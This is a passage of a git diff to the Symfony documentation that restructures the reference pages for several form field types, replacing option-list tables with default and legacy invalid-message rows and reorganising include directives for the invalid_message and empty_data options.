++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -54,6 +38,8 @@ entered into the box, set this to false and submit the form.
 Overridden Options
 ------------------
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 ``trim``
 ~~~~~~~~
 
@@ -73,13 +59,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 4b21f1f2856..0102f0c1d83 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -12,40 +12,17 @@ you can use this field out-of-the-box. If you store your data as a number
 When ``symbol`` is not ``false``, the field will render the given string after
 the input.
 
-+-------------+-----------------------------------------------------------------------+
-| Rendered as | ``input`` ``text`` field                                              |
-+-------------+-----------------------------------------------------------------------+
-| Options     | - `html5`_                                                            |
-|             | - `rounding_mode`_                                                    |
-|             | - `scale`_                                                            |
-|             | - `symbol`_                                                           |
-|             | - `type`_                                                             |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                         |
-| options     |                                                                       |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                             |
-| options     | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `invalid_message`_                                                  |
-|             | - `invalid_message_parameters`_                                       |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                         |
-+-------------+-----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
-+-------------+-----------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please enter a percentage value.                                      |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
++---------------------------+-----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -115,6 +92,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -126,13 +105,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
@@ -144,8 +121,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index ae0d58d2fe4..de7a8bbde12 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -13,38 +13,25 @@ The ``RadioType`` isn't usually used directly. More commonly it's used
 internally by other types such as :doc:`ChoiceType </reference/forms/types/choice>`.
 If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/types/checkbox>`.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``radio`` field                                           |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | from the :doc:`CheckboxType </reference/forms/types/checkbox>`:     |
-| options     |                                                                     |
-|             | - `value`_                                                          |
-|             |                                                                     |
-|             | from the :doc:`FormType </reference/forms/types/form>`:             |
-|             |                                                                     |
-|             | - `attr`_                                                           |
-|             | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``radio`` field                                           |
++---------------------------+---------------------------------------------------------------------+
+| Default invalid message   | Please select a valid option.                                       |
++---------------------------+---------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index e328a1bbe97..3d8730ed249 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -7,29 +7,17 @@ RangeType Field
 The ``RangeType`` field is a slider that is rendered using the HTML5
 ``<input type="range"/>`` tag.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``range`` field (slider in HTML5 supported browser)       |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``range`` field (slider in HTML5 supported browser)       |
++---------------------------+---------------------------------------------------------------------+
+| Default invalid message   | Please choose a valid range.                                        |
++---------------------------+---------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -45,9 +33,14 @@ Basic Usage
         'attr' => [
             'min' => 5,
             'max' => 50
-        ]
+        ],
     ]);
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -59,13 +52,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index c78e6cc318e..04796df2c6b 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -9,34 +9,17 @@ values must match (or a validation error is thrown). The most common use
 is when you need the user to repeat their password or email to verify
 accuracy.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | input ``text`` field by default, but see `type`_ option                |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `first_name`_                                                        |
-|             | - `first_options`_                                                     |
-|             | - `options`_                                                           |
-|             | - `second_name`_                                                       |
-|             | - `second_options`_                                                    |
-|             | - `type`_                                                              |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `error_bubbling`_                                                    |
-| options     |                                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `invalid_message`_                                                   |
-|             | - `invalid_message_parameters`_                                        |
-|             | - `mapped`_                                                            |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                          |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | input ``text`` field by default, but see `type`_ option                |
++---------------------------+------------------------------------------------------------------------+
+| Default invalid message   | The values do not match.                                               |
++---------------------------+------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -184,6 +167,8 @@ Overridden Options
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -201,8 +186,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/reset.rst b/reference/forms/types/reset.rst
index 914e4dfb428..6fd9b99d7fb 100644
--- a/reference/forms/types/reset.rst
+++ b/reference/forms/types/reset.rst
@@ -9,14 +9,6 @@ A button that resets all fields to their original values.
 +----------------------+---------------------------------------------------------------------+
 | Rendered as          | ``input`` ``reset`` tag                                             |
 +----------------------+---------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                           |
-| options              | - `attr_translation_parameters`_                                    |
-|                      | - `disabled`_                                                       |
-|                      | - `label`_                                                          |
-|                      | - `label_translation_parameters`_                                   |
-|                      | - `row_attr`_                                                       |
-|                      | - `translation_domain`_                                             |
-+----------------------+---------------------------------------------------------------------+
 | Parent type          | :doc:`ButtonType </reference/forms/types/button>`                   |
 +----------------------+---------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ResetType` |
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index e0f8233aa5b..048dd535ab5 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -9,32 +9,25 @@ special functionality supported by some browsers.
 
 Read about the input search field at `DiveIntoHTML5.info`_
 
-+-------------+----------------------------------------------------------------------+
-| Rendered as | ``input search`` field                                               |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `disabled`_                                                        |
-|             | - `empty_data`_                                                      |
-|             | - `error_bubbling`_                                                  |
-|             | - `error_mapping`_                                                   |
-|             | - `help`_                                                            |
-|             | - `help_attr`_                                                       |
-|             | - `help_html`_                                                       |
-|             | - `label`_                                                           |
-|             | - `label_attr`_                                                      |
-|             | - `label_format`_                                                    |
-|             | - `mapped`_                                                          |
-|             | - `required`_                                                        |
-|             | - `row_attr`_                                                        |
-|             | - `trim`_                                                            |
-+-------------+----------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                        |
-+-------------+----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
-+-------------+----------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | ``input search`` field                                               |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid search term.                                    |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -44,13 +37,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/submit.rst b/reference/forms/types/submit.rst
index 0554aef8a8e..0ac866d82e9 100644
--- a/reference/forms/types/submit.rst
+++ b/reference/forms/types/submit.rst
@@ -9,18 +9,6 @@ A submit button.
 +----------------------+----------------------------------------------------------------------+
 | Rendered as          | ``button`` ``submit`` tag                                            |
 +----------------------+----------------------------------------------------------------------+
-| Options              | - `validate`_                                                        |
-+----------------------+----------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                            |
-| options              | - `attr_translation_parameters`_                                     |
-|                      | - `disabled`_                                                        |
-|                      | - `label`_                                                           |
-|                      | - `label_format`_                                                    |
-|                      | - `label_translation_parameters`_                                    |
-|                      | - `row_attr`_                                                        |
-|                      | - `translation_domain`_                                              |
-|                      | - `validation_groups`_                                               |
-+----------------------+----------------------------------------------------------------------+
 | Parent type          | :doc:`ButtonType </reference/forms/types/button>`                    |
 +----------------------+----------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SubmitType` |
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index f6c19391ada..8a99b6752c5 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -13,33 +13,25 @@ Nevertheless, it may be useful to use this type in web applications because some
 browsers (e.g. smartphone browsers) adapt the input keyboard to make it easier
 to input phone numbers.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``tel`` field (a text box)                                |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType`   |
-+-------------+---------------------------------------------------------------------+
++---------------------------+-------------------------------------------------------------------+
+| Rendered as               | ``input`` ``tel`` field (a text box)                              |
++---------------------------+-------------------------------------------------------------------+
+| Default invalid message   | Please provide a valid phone number.                              |
++---------------------------+-------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                               |
++---------------------------+-------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
++---------------------------+-------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType` |
++---------------------------+-------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -51,13 +43,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst
index a12af8e778f..204c496ce85 100644
--- a/reference/forms/types/text.rst
+++ b/reference/forms/types/text.rst
@@ -9,26 +9,6 @@ The TextType field represents the most basic input text field.
 +-------------+--------------------------------------------------------------------+
 | Rendered as | ``input`` ``text`` field                                           |
 +-------------+--------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                          |
-| options     | - `data`_                                                          |
-|             | - `disabled`_                                                      |
-|             | - `empty_data`_                                                    |
-|             | - `error_bubbling`_                                                |
-|             | - `error_mapping`_                                                 |
-|             | - `help`_                                                          |
-|             | - `help_attr`_                                                     |
-|             | - `help_html`_                                                     |
-|             | - `label`_                                                         |
-|             | - `label_attr`_                                                    |
-|             | - `label_format`_                                                  |
-|             | - `mapped`_                                                        |
-|             | - `required`_                                                      |
-|             | - `row_attr`_                                                      |
-|             | - `trim`_                                                          |
-+-------------+--------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                      |
-| options     |                                                                    |
-+-------------+--------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                      |
 +-------------+--------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TextType` |
@@ -47,15 +27,13 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 From an HTTP perspective, submitted data is always a string or an array of strings.
 So by default, the form will treat any empty string as null. If you prefer to get
 an empty string, explicitly set the ``empty_data`` option to an empty string.
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 8a28262aec6..3e0ac8e0db9 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -9,23 +9,6 @@ Renders a ``textarea`` HTML element.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | ``textarea`` tag                                                       |
 +-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-|             | - `trim`_                                                              |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                          |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TextareaType` |
@@ -50,13 +33,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 042e3e7da0c..dc84d9a29bc 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -10,48 +10,19 @@ This can be rendered as a text field, a series of text fields (e.g. hour,
 minute, second) or a series of select fields. The underlying data can be
 stored as a ``DateTime`` object, a string, a timestamp or an array.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | can be various tags (see below)                                             |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `placeholder`_                                                            |
-|                      | - `hours`_                                                                  |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `minutes`_                                                                |
-|                      | - `model_timezone`_                                                         |
-|                      | - `reference_date`_                                                         |
-|                      | - `seconds`_                                                                |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `with_minutes`_                                                           |
-|                      | - `with_seconds`_                                                           |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `error_mapping`_                                                          |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | FormType                                                                    |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
++---------------------------+-----------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see below)                                             |
++---------------------------+-----------------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid time.                                                  |
++---------------------------+-----------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Parent type               | FormType                                                                    |
++---------------------------+-----------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
++---------------------------+-----------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -111,7 +82,7 @@ values for the hour, minute and second fields::
     $builder->add('startTime', 'time', [
         'placeholder' => [
             'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second',
-        ]
+        ],
     ]);
 
 .. include:: /reference/forms/types/options/hours.rst.inc
@@ -220,6 +191,8 @@ error_bubbling
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -241,8 +214,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index c18cdbaf339..6dc0d793b3b 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -14,45 +14,17 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of timezones. You *can* specify the option
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `input`_                                                             |
-|             | - `intl`_                                                              |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)           |
++---------------------------+------------------------------------------------------------------------+
+| Default invalid message   | Please select a valid timezone.                                        |
++---------------------------+------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -107,6 +79,8 @@ The Timezone type defaults the choices to all timezones returned by
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -130,8 +104,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -139,8 +112,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
